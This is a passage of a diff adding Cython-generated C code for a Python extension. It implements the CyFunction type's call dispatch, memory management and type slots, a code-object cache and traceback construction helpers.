__Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return 